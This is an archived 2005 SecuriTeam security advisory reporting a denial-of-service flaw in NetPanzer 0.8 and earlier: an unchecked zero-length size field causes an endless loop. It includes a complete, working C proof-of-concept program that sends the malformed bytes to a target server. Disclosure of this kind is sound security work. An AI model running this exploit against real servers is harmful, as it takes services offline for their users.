[NT] NetPanzer DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 07/21/05

  • Next message: SecuriTeam: "[EXPL] Windows Netman Service Local DoS"
    To: list@securiteam.com
    Date: 21 Jul 2005 13:48:36 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      NetPanzer DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://netpanzer.berlios.de > NetPanzer is "an open source multiplayer
    tactical game enough known and played". NetPanzer suffers from a denial of
    service flaw caused by the program entering an endless loop.

    DETAILS

    Vulnerable Systems:
     * NetPanzer version 0.8 and prior

    Immune Systems:
     * NetPanzer version 0.8 CVN fixed (
    <http://developer.berlios.de/svn/?group_id=1250> here)

    The network code doesn't verify the correctness of the 16 bit number
    containing the size of the entire data block received from the network. If
    an attacker sends the number 0x0000 (the minimum should be 0x0002) the
    game enters in an endless loop and nobody can play.

    Proof of concept:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/panzone.zip

    */

    #include <stdio.h>
    #include <stdlib.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netinet/in.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define PORT 3030
    #define TIMEOUT 5

    int timeout(int sock);
    u_long resolv(char *host);
    void std_err(void);

    int main(int argc, char *argv[]) {
        struct sockaddr_in peer;
        int sd;
        u_short port = PORT;

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        setbuf(stdout, NULL);

        fputs("\n"
            "Netpanzer <= 0.8 endless loop "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@autistici.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

        if(argc < 2) {
            printf("\n"
                "Usage: %s <host> [port(%d)]\n"
                "\n", argv[0], port);
            exit(1);
        }

        if(argc > 2) port = atoi(argv[2]);

        peer.sin_addr.s_addr = resolv(argv[1]);
        peer.sin_port = htons(port);
        peer.sin_family = AF_INET;

        printf("- target %s : %hu\n",
            inet_ntoa(peer.sin_addr), port);

        fputs("- check server: ", stdout);
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();

        if(timeout(sd) < 0) {
            fputs("\nError: server doesn't seem to work, I have received no
    data\n\n", stdout);
            exit(1);
        } else {
            fputs("ok\n", stdout);
        }

        fputs("- send malformed data size\n", stdout);
        if(send(sd, "\x00\x00", 2, 0)
          <= 0) std_err();
        close(sd);

        fputs("- check server status:\n", stdout);
        sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(sd < 0) std_err();
        if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
        if(timeout(sd) < 0) {
            fputs("\nServer IS vulnerable!!!\n\n", stdout);
        } else {
            fputs("\nServer doesn't seem vulnerable\n\n", stdout);
        }

        close(sd);
        return(0);
    }

    int timeout(int sock) {
        struct timeval tout;
        fd_set fd_read;
        int err;

        tout.tv_sec = TIMEOUT;
        tout.tv_usec = 0;
        FD_ZERO(&fd_read);
        FD_SET(sock, &fd_read);
        err = select(sock + 1, &fd_read, NULL, NULL, &tout);
        if(err < 0) std_err();
        if(!err) return(-1);
        return(0);
    }

    u_long resolv(char *host) {
        struct hostent *hp;
        u_long host_ip;

        host_ip = inet_addr(host);
        if(host_ip == INADDR_NONE) {
            hp = gethostbyname(host);
            if(!hp) {
                printf("\nError: Unable to resolv hostname (%s)\n", host);
                exit(1);
            } else host_ip = *(u_long *)hp->h_addr;
        }
        return(host_ip);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@autistici.org> Luigi
    Auriemma.
    The original article can be found at: <http://aluigi.altervista.org>
    http://aluigi.altervista.org

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Windows Netman Service Local DoS"

    Relevant Pages

    • [EXPL] Cyrus IMAP Server Preauthentification Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int connect_to; ... #ifdef DEBUG ...
      (Securiteam)
    • [NT] Armagetron DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... int main{ ... fputc('\n', stdout); ...
      (Securiteam)
    • [NT] ActivePost Standard Password Disclosure, Directory Traversal and DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Multiple vulnerabilities exists in ActivePOST, ... int main{ ...
      (Securiteam)
    • [NT] SLMail Pro Multiple Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SLMail Pro Web Service running on port 801 is ... int main{ ...
      (Securiteam)
    • [EXPL] Kerio Personal Firewall Multiple IP Options DoS PoC
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... * Kerio Personal Firewall version 4.1.1 and prior ... checksum(unsigned short *buffer, int size) ...
      (Securiteam)